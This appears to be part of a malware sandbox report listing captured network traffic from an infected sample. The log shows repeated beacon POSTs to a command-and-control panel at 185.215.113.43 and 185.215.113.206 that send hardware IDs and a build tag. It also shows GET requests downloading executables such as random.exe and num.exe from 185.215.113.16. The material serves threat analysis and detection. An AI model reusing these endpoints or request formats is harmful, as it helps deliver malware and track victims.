00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003093001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003094001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGIEHDBAAFIDGDAAAAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 2d 2d 0d 0a Data Ascii: ------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="hwid"706A636BF1482604982160------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="build"tale------ECBGIEHDBAAFIDGDAAAA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003095001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="hwid"706A636BF1482604982160------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="build"tale------CFHCGHJDBFIIDGDHIJDB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003096001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="hwid"706A636BF1482604982160------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="build"tale------AECAECFCAAEBFHIEHDGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="hwid"706A636BF1482604982160------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="build"tale------KKKJEBAAECBGDHIECAKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 2d 2d 0d 0a Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="hwid"706A636BF1482604982160------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="build"tale------CBFCFBFBFBKFIDHJKFCA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 2d 2d 0d 0a Data Ascii: ------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="hwid"706A636BF1482604982160------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="build"tale------DAEGIIECGHCBFHJKEHDB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
